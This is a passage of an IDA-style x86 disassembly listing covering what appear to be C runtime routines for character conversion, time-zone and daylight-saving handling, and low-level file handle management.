		cmp	dword_5158EC, ebx
		jnz	short loc_41DBB9
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41DBB4
		movzx	ax, al
		mov	[ecx], ax


loc_41DBB4:				; CODE XREF: sub_41DB75+36j
					; sub_41DB75+C0j
		push	1
		pop	eax
		jmp	short loc_41DB9A
; ---------------------------------------------------------------------------


loc_41DBB9:				; CODE XREF: sub_41DB75+2Fj
		mov	ecx, off_43B5A0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DC16
		mov	eax, dword_43B7AC
		cmp	eax, 1
		jle	short loc_41DBFD
		cmp	[ebp+arg_8], eax
		jl	short loc_41DC07
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_5158FC
		nop
		call	near ptr 7C809BF8h
		test	eax, eax
		mov	eax, dword_43B7AC
		jnz	short loc_41DB9A


loc_41DBFD:				; CODE XREF: sub_41DB75+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41DC07
		cmp	[esi+1], bl
		jnz	short loc_41DB9A


loc_41DC07:				; CODE XREF: sub_41DB75+61j
					; sub_41DB75+8Bj ...
		mov	dword_515884, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DB9A
; ---------------------------------------------------------------------------


loc_41DC16:				; CODE XREF: sub_41DB75+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_5158FC
		nop
		call	near ptr 7C809BF8h
		test	eax, eax
		jnz	loc_41DBB4
		jmp	short loc_41DC07
sub_41DB75	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC3D	proc near		; CODE XREF: sub_41A824+76p
					; sub_41A824+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43B7AC, 1
		jle	short loc_41DC54
		push	8
		push	[esp+4+arg_0]
		call	sub_419B4D
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DC54:				; CODE XREF: sub_41DC3D+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43B5A0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DC3D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DC70	proc near		; CODE XREF: sub_41A824+797p
					; sub_41A824+7E7p
		cmp	cl, 40h
		jnb	short loc_41DC8A
		cmp	cl, 20h
		jnb	short loc_41DC80
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41DC70+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41DC8A:				; CODE XREF: sub_41DC70+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41DC70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC8F	proc near		; CODE XREF: sub_41B29A+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41DCDB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41DCAD
		test	al, 80h
		jz	short loc_41DCDB
		test	al, 2
		jnz	short loc_41DCDB


loc_41DCAD:				; CODE XREF: sub_41DC8F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41DCBA
		push	esi
		call	sub_41D568
		pop	ecx


loc_41DCBA:				; CODE XREF: sub_41DC8F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41DCCA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41DCDB
		inc	eax
		mov	[esi], eax


loc_41DCCA:				; CODE XREF: sub_41DC8F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41DCE1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41DCE7
		inc	eax
		mov	[esi], eax


loc_41DCDB:				; CODE XREF: sub_41DC8F+9j
					; sub_41DC8F+18j ...
		or	eax, 0FFFFFFFFh


loc_41DCDE:				; CODE XREF: sub_41DC8F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41DCE1:				; CODE XREF: sub_41DC8F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41DCE7:				; CODE XREF: sub_41DC8F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41DCDE
sub_41DC8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCFD	proc near		; CODE XREF: sub_41B2D5:loc_41B314p
		cmp	dword_515AF8, 0
		jnz	short locret_41DD11
		call	sub_41DD12
		inc	dword_515AF8

locret_41DD11:				; CODE XREF: sub_41DCFD+7j
		retn
sub_41DCFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD12	proc near		; CODE XREF: sub_41DCFD+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_515A40, ebp
		mov	dword_43BEA8, ebx
		mov	dword_43BE98, ebx
		call	sub_41EFBB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41DE3B
		push	offset dword_515A48
		nop
		call	near ptr 7C8350BFh
		cmp	eax, ebx
		jz	loc_41DF6A
		mov	eax, dword_515A48
		mov	ecx, dword_515A9C
		imul	eax, 3Ch
		cmp	word_515A8E, bp
		push	1
		pop	edx
		mov	dword_43BE00, eax
		mov	dword_515A40, edx
		jz	short loc_41DD89
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43BE00, eax


loc_41DD89:				; CODE XREF: sub_41DD12+69j
		cmp	word_515AE2, bp
		jz	short loc_41DDAD
		mov	eax, dword_515AF0
		cmp	eax, ebp
		jz	short loc_41DDAD
		sub	eax, ecx
		mov	dword_43BE04, edx
		imul	eax, 3Ch
		mov	dword_43BE08, eax
		jmp	short loc_41DDB9
; ---------------------------------------------------------------------------


loc_41DDAD:				; CODE XREF: sub_41DD12+7Ej
					; sub_41DD12+87j
		mov	dword_43BE04, ebp
		mov	dword_43BE08, ebp


loc_41DDB9:				; CODE XREF: sub_41DD12+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_421158
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43BE8C
		push	ebx
		push	offset dword_515A4C
		push	edi
		push	dword_5158FC
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41DDF6
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41DDF6
		mov	eax, off_43BE8C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41DDFE
; ---------------------------------------------------------------------------


loc_41DDF6:				; CODE XREF: sub_41DD12+D1j
					; sub_41DD12+D7j
		mov	eax, off_43BE8C
		and	byte ptr [eax],	0


loc_41DDFE:				; CODE XREF: sub_41DD12+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43BE90
		push	ebx
		push	offset dword_515AA0
		push	edi
		push	dword_5158FC
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41DF62
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41DF62
		mov	eax, off_43BE90
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41DF6A
; ---------------------------------------------------------------------------


loc_41DE3B:				; CODE XREF: sub_41DD12+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41DF6A
		mov	eax, dword_515AF4
		cmp	eax, ebp
		jz	short loc_41DE5E
		push	eax
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41DF6A


loc_41DE5E:				; CODE XREF: sub_41DD12+139j
		push	dword_515AF4
		call	sub_417C62
		push	esi
		call	sub_417AF0
		inc	eax
		push	eax
		call	sub_417BEE
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_515AF4, eax
		jz	loc_41DF6A
		push	esi
		push	eax
		call	sub_417A00
		push	3
		push	esi
		push	off_43BE8C
		call	sub_4182F0
		mov	eax, off_43BE8C
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41DEB3
		push	1
		inc	esi
		pop	edi


loc_41DEB3:				; CODE XREF: sub_41DD12+19Bj
		push	esi
		call	sub_417894
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43BE00, ecx


loc_41DECA:				; CODE XREF: sub_41DD12+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41DED8
		cmp	al, bl
		jl	short loc_41DEDB
		cmp	al, 39h
		jg	short loc_41DEDB


loc_41DED8:				; CODE XREF: sub_41DD12+1BCj
		inc	esi
		jmp	short loc_41DECA
; ---------------------------------------------------------------------------


loc_41DEDB:				; CODE XREF: sub_41DD12+1C0j
					; sub_41DD12+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41DF2E
		inc	esi
		push	esi
		call	sub_417894
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43BE00
		add	ecx, eax
		mov	dword_43BE00, ecx


loc_41DEF9:				; CODE XREF: sub_41DD12+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41DF06
		cmp	al, 39h
		jg	short loc_41DF06
		inc	esi
		jmp	short loc_41DEF9
; ---------------------------------------------------------------------------


loc_41DF06:				; CODE XREF: sub_41DD12+1EBj
					; sub_41DD12+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41DF2E
		inc	esi
		push	esi
		call	sub_417894
		pop	ecx
		mov	ecx, dword_43BE00
		add	ecx, eax
		mov	dword_43BE00, ecx


loc_41DF21:				; CODE XREF: sub_41DD12+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41DF2E
		cmp	al, 39h
		jg	short loc_41DF2E
		inc	esi
		jmp	short loc_41DF21
; ---------------------------------------------------------------------------


loc_41DF2E:				; CODE XREF: sub_41DD12+1CCj
					; sub_41DD12+1F7j ...
		cmp	edi, ebp
		jz	short loc_41DF3A
		neg	ecx
		mov	dword_43BE00, ecx


loc_41DF3A:				; CODE XREF: sub_41DD12+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43BE04, eax
		jz	short loc_41DF62
		push	3
		push	esi
		push	off_43BE90
		call	sub_4182F0
		mov	eax, off_43BE90
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41DF6A
; ---------------------------------------------------------------------------


loc_41DF62:				; CODE XREF: sub_41DD12+10Bj
					; sub_41DD12+115j ...
		mov	eax, off_43BE90
		and	byte ptr [eax],	0


loc_41DF6A:				; CODE XREF: sub_41DD12+40j
					; sub_41DD12+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41DD12	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF70	proc near		; CODE XREF: sub_41B2D5+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43BE04, edi
		jnz	short loc_41DF84


loc_41DF7D:				; CODE XREF: sub_41DF70+148j
					; sub_41DF70+150j ...
		xor	eax, eax
		jmp	loc_41E0D0
; ---------------------------------------------------------------------------


loc_41DF84:				; CODE XREF: sub_41DF70+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43BE98
		jnz	short loc_41DFA2
		cmp	eax, dword_43BEA8
		jz	loc_41E0A4


loc_41DFA2:				; CODE XREF: sub_41DF70+24j
		cmp	dword_515A40, edi
		jz	loc_41E07A
		movzx	ecx, word_515AEE
		push	ecx
		cmp	word_515AE0, di
		movzx	ecx, word_515AEC
		push	ecx
		movzx	ecx, word_515AEA
		push	ecx
		movzx	ecx, word_515AE8
		push	ecx
		jnz	short loc_41DFF4
		movzx	ecx, word_515AE4
		push	edi
		push	ecx
		movzx	ecx, word_515AE6
		push	ecx
		movzx	ecx, word_515AE2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41E008
; ---------------------------------------------------------------------------


loc_41DFF4:				; CODE XREF: sub_41DF70+65j
		movzx	ecx, word_515AE6
		push	ecx
		push	edi
		movzx	ecx, word_515AE2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41E008:				; CODE XREF: sub_41DF70+82j
		push	ebx
		call	sub_41E11C
		movzx	eax, word_515A9A
		add	esp, 2Ch
		cmp	word_515A8C, di
		push	eax
		movzx	eax, word_515A98
		push	eax
		movzx	eax, word_515A96
		push	eax
		movzx	eax, word_515A94
		push	eax
		jnz	short loc_41E062
		movzx	eax, word_515A90
		push	edi
		push	eax
		movzx	eax, word_515A92
		push	eax
		movzx	eax, word_515A8E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41E057:				; CODE XREF: sub_41DF70+108j
		push	edi
		call	sub_41E11C
		add	esp, 2Ch
		jmp	short loc_41E0A4
; ---------------------------------------------------------------------------


loc_41E062:				; CODE XREF: sub_41DF70+C8j
		movzx	eax, word_515A92
		push	eax
		push	edi
		movzx	eax, word_515A8E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41E057
; ---------------------------------------------------------------------------


loc_41E07A:				; CODE XREF: sub_41DF70+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41E11C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41E11C
		add	esp, 58h


loc_41E0A4:				; CODE XREF: sub_41DF70+2Cj
					; sub_41DF70+F0j
		mov	edx, dword_43BE9C
		mov	eax, dword_43BEAC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41E0D4
		cmp	ecx, edx
		jl	loc_41DF7D
		cmp	ecx, eax
		jg	loc_41DF7D
		cmp	ecx, edx
		jle	short loc_41E0E8
		cmp	ecx, eax
		jge	short loc_41E0E8


loc_41E0CE:				; CODE XREF: sub_41DF70+166j
					; sub_41DF70+16Aj
		mov	eax, ebx


loc_41E0D0:				; CODE XREF: sub_41DF70+Fj
					; sub_41DF70+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E0D4:				; CODE XREF: sub_41DF70+144j
		cmp	ecx, eax
		jl	short loc_41E0CE
		cmp	ecx, edx
		jg	short loc_41E0CE
		cmp	ecx, eax
		jle	short loc_41E0E8
		cmp	ecx, edx
		jl	loc_41DF7D


loc_41E0E8:				; CODE XREF: sub_41DF70+158j
					; sub_41DF70+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41E10F
		xor	ecx, ecx
		cmp	eax, dword_43BEA0
		setnl	cl


loc_41E10B:				; CODE XREF: sub_41DF70+1AAj
		mov	eax, ecx
		jmp	short loc_41E0D0
; ---------------------------------------------------------------------------


loc_41E10F:				; CODE XREF: sub_41DF70+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43BEB0
		setl	cl
		jmp	short loc_41E10B
sub_41DF70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E11C	proc near		; CODE XREF: sub_41DF70+99p
					; sub_41DF70+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41E1B7
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41E147
		shl	esi, 2
		mov	eax, dword_43BEB0[esi]
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E147:				; CODE XREF: sub_41E11C+1Ej
		shl	esi, 2
		mov	eax, dword_43BEE4[esi]


loc_41E150:				; CODE XREF: sub_41E11C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41E18A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41E194
; ---------------------------------------------------------------------------


loc_41E18A:				; CODE XREF: sub_41E11C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41E194:				; CODE XREF: sub_41E11C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41E1D2
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E1A8
		mov	esi, dword_43BEB4[esi]
		jmp	short loc_41E1AE
; ---------------------------------------------------------------------------


loc_41E1A8:				; CODE XREF: sub_41E11C+82j
		mov	esi, dword_43BEE8[esi]


loc_41E1AE:				; CODE XREF: sub_41E11C+8Aj
		cmp	ecx, esi
		jle	short loc_41E1D2
		sub	ecx, 7
		jmp	short loc_41E1D2
; ---------------------------------------------------------------------------


loc_41E1B7:				; CODE XREF: sub_41E11C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41E1C8
		mov	ecx, dword_43BEB0[eax*4]
		jmp	short loc_41E1CF
; ---------------------------------------------------------------------------


loc_41E1C8:				; CODE XREF: sub_41E11C+A1j
		mov	ecx, dword_43BEE4[eax*4]


loc_41E1CF:				; CODE XREF: sub_41E11C+AAj
		add	ecx, [ebp+arg_18]


loc_41E1D2:				; CODE XREF: sub_41E11C+7Cj
					; sub_41E11C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41E203
		mov	eax, [ebp+arg_1C]
		mov	dword_43BE9C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43BE98, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43BEA0, eax
		jmp	short loc_41E258
; ---------------------------------------------------------------------------


loc_41E203:				; CODE XREF: sub_41E11C+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43BEAC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43BE08
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43BEB0, eax
		jns	short loc_41E23B
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43BEB0, eax
		jmp	short loc_41E24C
; ---------------------------------------------------------------------------


loc_41E23B:				; CODE XREF: sub_41E11C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41E252
		sub	eax, edx
		inc	ecx
		mov	dword_43BEB0, eax


loc_41E24C:				; CODE XREF: sub_41E11C+11Dj
		mov	dword_43BEAC, ecx


loc_41E252:				; CODE XREF: sub_41E11C+126j
		mov	dword_43BEA8, ebx


loc_41E258:				; CODE XREF: sub_41E11C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E25C	proc near		; CODE XREF: sub_41E476:loc_41E5EEp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_516B80


loc_41E26B:				; CODE XREF: sub_41E25C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41E2A8
		lea	edx, [eax+100h]


loc_41E277:				; CODE XREF: sub_41E25C+28j
		cmp	eax, edx
		jnb	short loc_41E297
		test	byte ptr [eax+4], 1
		jz	short loc_41E286
		add	eax, 8
		jmp	short loc_41E277
; ---------------------------------------------------------------------------


loc_41E286:				; CODE XREF: sub_41E25C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E2EB


loc_41E297:				; CODE XREF: sub_41E25C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_516C80
		jl	short loc_41E26B
		jmp	short loc_41E2EB
; ---------------------------------------------------------------------------


loc_41E2A8:				; CODE XREF: sub_41E25C+13j
		mov	esi, 100h
		push	esi
		call	sub_417BEE
		test	eax, eax
		pop	ecx
		jz	short loc_41E2EB
		add	dword_516C80, 20h
		lea	ecx, ds:516B80h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41E2CE:				; CODE XREF: sub_41E25C+88j
		cmp	eax, edx
		jnb	short loc_41E2E6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------


loc_41E2E6:				; CODE XREF: sub_41E25C+74j
		shl	edi, 5
		mov	ebx, edi


loc_41E2EB:				; CODE XREF: sub_41E25C+39j
					; sub_41E25C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E25C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2F1	proc near		; CODE XREF: sub_41E476+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_516C80
		push	edi
		jnb	short loc_41E351
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:516B80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41E351
		cmp	dword_43B594, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41E347
		sub	eax, 0
		jz	short loc_41E33E
		dec	eax
		jz	short loc_41E339
		dec	eax
		jnz	short loc_41E347
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41E341
; ---------------------------------------------------------------------------


loc_41E339:				; CODE XREF: sub_41E2F1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41E341
; ---------------------------------------------------------------------------


loc_41E33E:				; CODE XREF: sub_41E2F1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41E341:				; CODE XREF: sub_41E2F1+46j
					; sub_41E2F1+4Bj
		nop
		call	near ptr 7C81DC03h


loc_41E347:				; CODE XREF: sub_41E2F1+36j
					; sub_41E2F1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41E365
; ---------------------------------------------------------------------------


loc_41E351:				; CODE XREF: sub_41E2F1+Cj
					; sub_41E2F1+28j
		and	dword_515888, 0
		mov	dword_515884, 9
		or	eax, 0FFFFFFFFh


loc_41E365:				; CODE XREF: sub_41E2F1+5Ej
		pop	edi
		pop	esi
		retn
sub_41E2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E368	proc near		; CODE XREF: sub_41B397+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_516C80
		push	edi
		jnb	short loc_41E3CB
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:516B80h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41E3CB
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41E3CB
		cmp	dword_43B594, 1
		jnz	short loc_41E3C1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41E3B8
		dec	ecx
		jz	short loc_41E3B3
		dec	ecx
		jnz	short loc_41E3C1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41E3BB
; ---------------------------------------------------------------------------


loc_41E3B3:				; CODE XREF: sub_41E368+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41E3BB
; ---------------------------------------------------------------------------


loc_41E3B8:				; CODE XREF: sub_41E368+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41E3BB:				; CODE XREF: sub_41E368+49j
					; sub_41E368+4Ej
		nop
		call	near ptr 7C81DC03h


loc_41E3C1:				; CODE XREF: sub_41E368+38j
					; sub_41E368+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41E3DF
; ---------------------------------------------------------------------------


loc_41E3CB:				; CODE XREF: sub_41E368+Cj
					; sub_41E368+2Aj ...
		and	dword_515888, 0
		mov	dword_515884, 9
		or	eax, 0FFFFFFFFh


loc_41E3DF:				; CODE XREF: sub_41E368+61j
		pop	edi
		pop	esi
		retn
sub_41E368	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3E2	proc near		; CODE XREF: sub_41B397+32p
					; sub_41B397+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_516C80
		jnb	short loc_41E40A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_516B80[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41E40A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41E40A:				; CODE XREF: sub_41E3E2+Aj
					; sub_41E3E2+23j
		and	dword_515888, 0
		mov	dword_515884, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41E3E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E41F	proc near		; CODE XREF: sub_41B475+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_516C80
		jnb	short loc_41E468
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_516B80[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41E468
		push	eax
		call	sub_41E3E2
		pop	ecx
		push	eax
		nop
		call	near ptr 7C812641h
		test	eax, eax
		jnz	short loc_41E45D
		nop
		call	near ptr 7C910331h
		jmp	short loc_41E45F
; ---------------------------------------------------------------------------


loc_41E45D:				; CODE XREF: sub_41E41F+34j
		xor	eax, eax


loc_41E45F:				; CODE XREF: sub_41E41F+3Cj
		test	eax, eax
		jz	short locret_41E475
		mov	dword_515888, eax


loc_41E468:				; CODE XREF: sub_41E41F+Aj
					; sub_41E41F+22j
		mov	dword_515884, 9
		or	eax, 0FFFFFFFFh

locret_41E475:				; CODE XREF: sub_41E41F+42j
		retn
sub_41E41F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E476	proc near		; CODE XREF: sub_41B851+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41E49C
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41E4A7
; ---------------------------------------------------------------------------


loc_41E49C:				; CODE XREF: sub_41E476+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41E4A7:				; CODE XREF: sub_41E476+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41E4C1
		test	ch, 40h
		jnz	short loc_41E4BD
		cmp	dword_515B3C, eax
		jz	short loc_41E4C1


loc_41E4BD:				; CODE XREF: sub_41E476+3Dj
		or	[ebp+var_1], 80h


loc_41E4C1:				; CODE XREF: sub_41E476+38j
					; sub_41E476+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41E4F9
		dec	eax
		jz	short loc_41E4F0
		dec	eax
		jz	short loc_41E4E7


loc_41E4D2:				; CODE XREF: sub_41E476+9Fj
					; sub_41E476+E8j ...
		mov	dword_515884, 16h
		mov	dword_515888, ebx
		jmp	loc_41E70C
; ---------------------------------------------------------------------------


loc_41E4E7:				; CODE XREF: sub_41E476+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41E500
